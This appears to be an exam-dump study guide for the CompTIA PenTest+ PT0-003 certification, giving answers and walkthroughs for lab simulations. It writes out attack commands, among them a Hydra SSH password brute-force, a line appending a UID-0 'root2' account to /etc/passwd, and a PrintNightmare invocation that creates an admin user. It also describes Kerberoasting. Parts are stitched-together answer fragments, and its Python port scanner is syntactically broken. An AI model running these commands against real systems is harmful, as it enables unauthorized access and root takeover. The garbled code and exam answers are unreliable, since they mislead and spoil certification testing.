Pass PT0-003 Exam Guide

The command that would most likely exploit the services is:

hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22

The appropriate set of commands to escalate privileges is:

echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd

The remediations that should be taken after the successful privilege escalation are:

Remove the SUID bit from cp.

Make backup script not world-writable.

Comprehensive Step-by-Step Explanation of the Simulation

Part 1: Exploiting Vulnerable Service

Nmap Scan Analysis

Command: nmap -sC -T4 192.168.10.2

Purpose: This command runs a default script scan with timing template 4 (aggressive).

Output:

bash

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Port State Service

22/tcp open ssh

23/tcp closed telnet

80/tcp open http

111/tcp closed rpcbind

445/tcp open samba

3389/tcp closed rdp

Ports open are SSH (22), HTTP (80), and Samba (445).

Enumerating Samba Shares

Command: enum4linux -S 192.168.10.2

Purpose: To enumerate Samba shares and users.

Output:

makefile

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user:[games] rid:[0x3f2]

user:[nobody] rid:[0x1f5]

user:[bind] rid:[0x4ba]

user:[proxy] rid:[0x42]

user:[syslog] rid:[0x4ba]

user:[www-data] rid:[0x42a]

user:[root] rid:[0x3e8]

user:[news] rid:[0x3fa]

user:[lowpriv] rid:[0x3fa]

We identify a user lowpriv.

Selecting Exploit Command

Hydra Command: hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22

Purpose: To perform a brute force attack on SSH using the lowpriv user and a list of the 500 worst passwords.

-l lowpriv: Specifies the username.

-P 500-worst-passwords.txt: Specifies the password list.

-t 4: Uses 4 tasks/threads for the attack.

ssh://192.168.10.2:22: Specifies the SSH service and port.

Executing the Hydra Command

Result: Successful login as lowpriv user if a match is found.

Part 2: Privilege Escalation and Remediation

Finding SUID Binaries and Configuration Files

Command: find / -perm -2 -type f 2>/dev/null | xargs ls -l

Purpose: To find world-writable files.

Command: find / -perm -u=s -type f 2>/dev/null | xargs ls -l

Purpose: To find files with SUID permission.

Command: grep "/bin/bash" /etc/passwd | cut -d':' -f1-4,6,7

Purpose: To identify users with bash shell access.

Selecting Privilege Escalation Command

Command: echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd

Purpose: To create a new root user entry in the passwd file.

root2: Username.

5ZOYXRFHVZ7OY: Password hash.

0:0: User and group ID (root).

/root: Home directory.

/bin/bash: Default shell.

Executing the Privilege Escalation Command

Result: Creation of a new root user root2 with a specified password.

Remediation Steps Post-Exploitation

Remove SUID Bit from cp:

Command: chmod u-s /bin/cp

Purpose: Removing the SUID bit from cp to prevent misuse.

Make Backup Script Not World-Writable:

Command: chmod o-w /path/to/backup/script

Purpose: Ensuring backup script is not writable by all users to prevent unauthorized modifications.

Execution and Verification

Verifying Hydra Attack:

Run the Hydra command and monitor for successful login attempts.

Verifying Privilege Escalation:

After appending the new root user to the passwd file, attempt to switch user to root2 and check root privileges.

Implementing Remediation:

Apply the remediation commands to secure the system and verify the changes have been implemented.

By following these detailed steps, one can replicate the simulation and ensure a thorough understanding of both the exploitation and the necessary remediations.

The GetUserSPNs.py script (part of Impacket) is used in Kerberoasting attacks. It requests Service Principal Names (SPNs) for users with associated services, retrieves TGS tickets, and then allows offline cracking of those tickets.

From the CompTIA PenTest+ PT0-003 Study Guide (Chapter 8 – Post-Exploitation):

“Kerberoasting involves requesting service tickets for SPNs, which can then be cracked offline to retrieve service account passwords.”

1: Null session enumeration

Weak SMB file permissions

Fragmentation attack

2: nmap

-sV

-p 1-1023

192.168.2.2

3: #!/usr/bin/python

export $PORTS = 21,22

for $PORT in $PORTS:

try:

s.connect((ip, port))

print(“%s:%s – OPEN” % (ip, port))

except socket.timeout

print(“%:%s – TIMEOUT” % (ip, port))

except socket.error as e:

print(“%:%s – CLOSED” % (ip, port))

finally

s.close()

port_scan(sys.argv[1], ports)

In the scenario where a penetration tester uses the PrintNightmare exploit to create a new user with administrative privileges but still experiences low-privilege access, the tester should log off and log on with the new "hacker" account to escalate privileges correctly.

PrintNightmare Exploit:

PrintNightmare (CVE-2021-34527) is a vulnerability in the Windows Print Spooler service that allows remote code execution and local privilege escalation.

The provided commands are intended to exploit this vulnerability to create a new user with administrative privileges.

Commands Breakdown:

Import-Module .\PrintNightmare.ps1: Loads the PrintNightmare exploit script.

Invoke-Nightmare -NewUser "hacker" -NewPassword "Password123!" -DriverName "Print": Executes the exploit, creating a new user "hacker" with administrative privileges.

Issue:

The tester still experiences low privileges despite running the exploit successfully.

This could be due to the current session not reflecting the new privileges.

Solution:

Logging off and logging back on with the new "hacker" account will start a new session with the updated administrative privileges.

This ensures that the new privileges are applied correctly.

Pentest References:

Privilege Escalation: After gaining initial access, escalating privileges is crucial to gain full control over the target system.

Session Management: Understanding how user sessions work and ensuring that new privileges are recognized by starting a new session.

The use of the PrintNightmare exploit highlights a specific technique for privilege escalation within Windows environments.

By logging off and logging on with the new "hacker" account, the penetration tester can ensure the new administrative privileges are fully applied, allowing for further enumeration and exploitation of the target system.

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